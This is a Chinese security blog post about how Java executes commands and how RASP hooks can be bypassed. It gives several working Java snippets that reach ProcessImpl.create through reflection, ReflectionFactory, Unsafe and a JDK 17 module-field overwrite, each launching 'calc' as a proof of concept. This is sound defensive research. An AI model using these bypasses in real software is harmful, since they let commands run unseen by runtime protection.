RASP_and_java命令执行

最近突然忙起来了,未来有点想做sdl建设,看了不少甲方sdl做的事(我寒假在boss看了好久的招聘要求,没想到p牛的星球最近直接有人总结了。。。)

DAST的话,想先写个漏扫练手,我的开发能力实在是一般。SAST,暂时先放着(太忙了)。RASP也在入门。

今年护网还提前了,去年没去过,今年想参加一下。匆忙准备ing。。。

https://xz.aliyun.com/t/14048

看到这篇文章,里面有些说法有问题,故探究了一下。

原文说win和linux都是forkAndExec,实际上win下的jdk是create函数。

image-20240314190636212

调用栈如下:

Image

UNIXProcess在win下是ProcessImpl。

Runtime和ProcessBuilder就不说了,这两个太常见了,往下到ProcessImpl,命令执行也很简单,反射拿一下就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Main {
/*
private ProcessImpl(String cmd[],
final String envblock,
final String path,
final long[] stdHandles,
final boolean redirectErrorStream)
* */
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Constructor<?> constructor = clazz.getDeclaredConstructor(String[].class, String.class, String.class, long[].class, boolean.class);
constructor.setAccessible(true);
Object processImpl = constructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1,-1,-1}, false);
}
}

三个-1的数组是我debug来的:

Image

构造函数被禁了怎么办?原文给出的是Unsafe.allocate, 这个我记得在之前看yso源码的时候还有一个方法,是ReflectionFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class Main {
/*
private ProcessImpl(String cmd[],
final String envblock,
final String path,
final long[] stdHandles,
final boolean redirectErrorStream)
* */
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<?> constructor = reflectionFactory.newConstructorForSerialization(clazz, Object.class.getDeclaredConstructor());
constructor.setAccessible(true);
Object instance = constructor.newInstance();

Method method = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
method.setAccessible(true);
method.invoke(instance, "calc", null, null, new long[]{-1, -1, -1}, false);
}
}

在加上JDK 17的绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;

import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
/*
private ProcessImpl(String cmd[],
final String envblock,
final String path,
final long[] stdHandles,
final boolean redirectErrorStream)
* */
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<?> constructor = reflectionFactory.newConstructorForSerialization(clazz, Object.class.getDeclaredConstructor());
constructor.setAccessible(true);
Object instance = constructor.newInstance();

Field unSafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);

Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
Class currentClass = Main.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));

unSafeClass.getAndSetObject(currentClass, addr, Object.class.getModule());

Method method = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
method.setAccessible(true);
method.invoke(instance, "calc", null, null, new long[]{-1, -1, -1}, false);
}
}

用Unsafe + JDK17绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws Exception {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = Class.forName("java.lang.ProcessImpl");

Object processObject = unsafe.allocateInstance(processClass);

Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, Object.class.getModule());


Method createMethod = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
createMethod.setAccessible(true);

createMethod.invoke(processObject, "calc", null, null, new long[]{-1, -1, -1}, false);
}
}

JNI

参考这篇文章: Java安全之JNI绕过RASP - nice_0e3 - 博客园 (cnblogs.com)

写的很清晰了,我就不写了。


RASP_and_java命令执行
http://example.com/2024/03/13/RASP-and-java命令执行/
Aŭtoro
zhattatey
Postigita
March 13, 2024
Lizenta